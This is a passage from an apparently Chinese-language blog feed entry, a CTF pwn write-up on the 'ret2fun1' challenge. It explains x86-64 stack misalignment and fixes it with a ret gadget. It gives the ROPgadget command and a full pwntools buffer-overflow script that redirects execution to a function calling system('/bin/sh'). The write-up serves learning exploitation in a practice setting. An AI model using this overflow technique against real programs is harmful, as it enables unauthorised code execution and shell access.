8。</li></ul><p>举个简单的例子：</p><p><strong>正常函数调用</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">main() &#123;</span><br><span class="line">    fun();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译器自动保证在<code>call fun</code>前对齐</p><figure class="highlight perl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">main():</span><br><span class="line">    <span class="function"><span class="keyword">sub</span> <span class="title">rsp</span>, 8       </span>; 调整栈空间</span><br><span class="line">    call fun         ; 进入时 rsp<span class="variable">%16</span>==<span class="number">8</span>，OK</span><br></pre></td></tr></table></figure><p><code>fun()</code> 内部执行没问题。</p><p><strong>手动修改返回地址</strong></p><p>比如：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">24</span> + p64(fun_addr)</span><br></pre></td></tr></table></figure><p>此时返回到 <code>fun()</code>，但我们是<strong>手动跳的</strong>，<br> 没有通过 <code>call</code>，所以 RSP 的状态不一定对齐（通常差 8 字节）。</p><p>一旦 <code>fun()</code> 里调用了像 <code>system(&quot;/bin/sh&quot;)</code> 这样的函数，<br> libc 内部执行 SSE 指令时可能会崩溃。</p><p>就会出现像现在这样的问题了</p><h2 id="解决方法"><a href="#解决方法" class="headerlink" title="解决方法"></a>解决方法</h2><p>其实我们可以在payload里加一个单独的ret</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">24</span> + p64(<span class="number">0x40101a</span>) + p64(fun_addr)</span><br></pre></td></tr></table></figure><p>执行顺序：</p><ol><li>先执行 <code>ret</code>（相当于弹出 8 字节）；</li><li>RSP += 8；</li><li>现在 RSP 对齐到 16；</li><li>然后再执行 <code>fun()</code>。</li></ol><p>此时栈对齐正确，<code>system()</code> 不再崩溃。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ROPgadget --binary ./ret2fun | grep <span class="string">&quot;ret&quot;</span></span><br></pre></td></tr></table></figure><p>抓一个返回地址</p><p><img src="../../attachments/image-20251119173919781.png" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x40101a</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20251119174331613.png" alt="image-20251119174331613"></p><p>这下就好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&#x27;./ret2fun&#x27;</span>)</span><br><span class="line">p = process(elf.path)</span><br><span class="line"></span><br><span class="line">fun_addr = <span class="number">0x401156</span></span><br><span class="line">ret_addr = <span class="number">0x40101a</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">24</span> + p64(ret_addr) + p64(fun_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;please input:&#x27;</span>, payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>改一下远程就可以愉快的拿flag啦~</p><p><img src="../../attachments/image-20251119174432718.png" alt=""></p><h1 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h1><h2 id="栈对齐对比图"><a href="#栈对齐对比图" class="headerlink" title="栈对齐对比图"></a>栈对齐对比图</h2><pre><code class="highlight mermaid">graph TD    A[开始：main函数返回前] --&gt; B[栈溢出攻击]    B --&gt; C&#123;是否使用ret gadget对齐栈?&#125;        C --&gt;|否，直接跳转| D[执行 fun 函数]    D --&gt; E[RSP % 16 == 8 ❌ 未对齐]    E --&gt; F[system函数中movaps指令崩溃 💥]        C --&gt;|是，使用ret gadget| G[执行ret gadget RSP += 8]    G --&gt; H[执行 fun 函数]    H --&gt; I[RSP % 16 == 0 ✅ 已对齐]    I --&gt; J[成功获得shell 🐚]    style F fill:#ffcccc    style J fill:#ccffcc</code></pre><h2 id="栈布局示意图"><a href="#栈布局示意图" class="headerlink" title="栈布局示意图"></a>栈布局示意图</h2><pre><code class="highlight mermaid">graph TB    subgraph &quot;未加 ret gadget（错误对齐 ❌）&quot;        A1[&quot;s[16] 缓冲区&quot;] --&gt; A2[&quot;保存的 RBP&quot;] --&gt; A3[&quot;fun() 地址&lt;br/&gt;（覆盖的返回地址）&quot;]    end    subgraph &quot;加 ret gadget（正确对齐 ✅）&quot;          B1[&quot;s[16] 缓冲区&quot;] --&gt; B2[&quot;保存的 RBP&quot;] --&gt; B3[&quot;ret gadget 地址&lt;br/&gt;(0x40101a)&quot;] --&gt; B4[&quot;fun() 地址&quot;]    end    A3 --&gt; C1[&quot;进入 fun() 时&lt;br/&gt;RSP 指向此处&lt;br/&gt;RSP % 16 == 8 ❌&quot;]    C1 --&gt; D1[&quot;执行 system(&#x27;/bin/sh&#x27;) 时&lt;br/&gt;movaps 指令崩溃 💥&quot;]        B4 --&gt; C2[&quot;ret gadget 执行后&lt;br/&gt;RSP += 8，RSP % 16 == 0 ✅&quot;]    C2 --&gt; D2[&quot;正常执行 system(&#x27;/bin/sh&#x27;)&lt;br/&gt;成功获得 shell 🐚&quot;]    style D1 fill:#ffcccc,color:#000    style D2 fill:#ccffcc,color:#000</code></pre>]]>
    </content>
    <id>https://moxin1044.github.io/posts/e301/</id>
    <link href="https://moxin1044.github.io/posts/e301/"/>
    <published>2025-11-19T09:07:08.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【青少年CTF】PWN-刷题记录-ret2fun1</title>
    <updated>2025-11-20T05:13:41.000Z</updated>
  </entry>
</feed>
